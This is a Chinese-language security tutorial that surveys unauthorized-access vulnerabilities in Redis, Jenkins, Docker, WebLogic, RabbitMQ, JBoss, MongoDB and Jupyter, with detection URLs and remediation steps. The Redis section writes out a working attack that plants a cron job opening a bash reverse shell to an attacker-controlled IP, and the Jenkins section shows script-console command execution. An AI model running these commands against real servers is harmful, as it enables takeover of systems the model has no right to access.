Web漏洞-未授权访问漏洞

未授权访问漏洞

漏洞介绍:

未授权访问漏洞就是在不需要请求授权的情况下对需要授权的功能进行访问执行,通常是由于认证页面存在缺陷,安全配置不当。

漏洞原理:

未授权访问是系统对用户的限制不全,或者无限制,可以让用户或者限制访问的用户,访问到内部的敏感信息,执行权限之外的功能。

越权漏洞:

水平越权:水平越权是同等权限下,不同用户直接的切换,访问到对方的敏感信息,造成信息泄露。

垂直越权:垂直越权是在低权限用户下,可以执行高权限用户的功能。

漏洞危害:

未授权访问通常会造成以下几点危害:(简要概括)

  1. 泄露用户信息,系统信息

  1. 执行系统命令,操作系统文件,导致系统整体安全遭到破坏

常见的未授权访问漏洞

1、Redis未授权访问漏洞:

redis默认开放6379端口,如果没有采用相关的策略,比如添加防火墙规则来避免非信任来源ip,这样就会将redis服务暴露在公网上,如果默认密码为空的情况下,会导致任意用户在访问目标服务器的情况下未授权访问redis以及读取Redis的数据。

可以利用redis提供的config命令进行文件写操作,还可以将自己的ssh公钥写入目标服务器中,进而使用自己的私钥进行ssh登录目标服务器。

下面介绍一下反弹shell的操作:

redis-cli -h 192.168.56.130
set x "\n* * * * * bash -i >& /dev/tcp/192.168.56.104/7979 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

2、Jenkins未授权访问:

默认情况下,Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可以通过未授权访问漏洞或者暴力破解用户密码,进入脚本执行界面从而获取服务器权限。

操作:

①端口扫描
②直接通过url输入下面地址,若能访问,则证明漏洞存在
http://targetip:8080/manage
http://targetip:8080/script
③命令格式
println 'whoami'.execute().text

修复:

  • 对后台控制页面进行登录验证限制

  • 升级Jenkins至新版本

  • 禁止把Jenkins直接暴露在公网

3、Docker未授权访问

该漏洞是因为docker api可以执行docker命令,该接口的目的是取代docker命令界面,通过url操控docker

操作

①端口扫描
②输入url: http://ip:2375/version 查看是否能访问,若能访问则证明漏洞存在

修复:

  • 对2375端口做网络访问控制,如ACL控制,或访问规则

  • 修改docker swarm的认证方式,使用TLS认证

4、Weblogic未授权访问

Weblogic是J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证直接访问后台,同时,CVE-2020-14883允许后台任意用户通过http协议执行任意命令

危害:远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并执行任意代码

修复:下载补丁程序并安装更新

5、RabbitMQ未授权访问(15672、15692、25672

RabbitMQ是一款消息中间件,可以在发布者和使用者直接交互异步消息

操作:

①端口扫描
②浏览器访问测试,默认密码都是guest
http://ip:15672
http://ip:15692
http://ip:25672

修复:

  • 修改为强密码,删除默认账户

  • 禁止对外网开放,仅限内部访问

6、JBoss未授权访问

JBoss是J2EE应用的中间件平台,默认情况下访问http://ip:8080/jmx-console就可以浏览JBoss部署的管理信息,不需要输入用户名和密码就可以部署上传木马。

操作

①端口扫描
②直接访问http://ip:port/查看是否能进入jmx-console和web-console页面
http://ip:8080/
http://ip:8080/jmx-console/
http://ip:8080/jbossws/

修复

  • 添加JMX控制页面身份认证

  • 进行JMX Console安全配置

  • 关闭jmx-console和web-console

7、MongoDB未授权访问

开启MongoDB服务时不添加任何参数,默认是没有权限验证的,登录用户可以通过默认端口无需密码对数据库进行任意操作

根本原因是:在启动时未设置-auth,很少会有人给数据库添加账号密码

修复

  • 启动认证

  • 设置防火墙策略,限定ip访问服务

  • 限制绑定IP,启动时加入参数--bind_ip 127.0.0.1或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1;

8、Jupyter Notebook未授权访问

python的交互式笔记本,如果管理员未对其配置密码,将会导致未授权访问漏洞,用户可以创建一个console并执行任意python代码和命令

修复

  • 开启身份认证,防止未经授权用户访问

  • 访问控制策略,限制ip访问,绑定固定ip

9、WordPress未授权访问

CVE-2019-17671

你可能感兴趣的:(web漏洞,web安全,网络安全)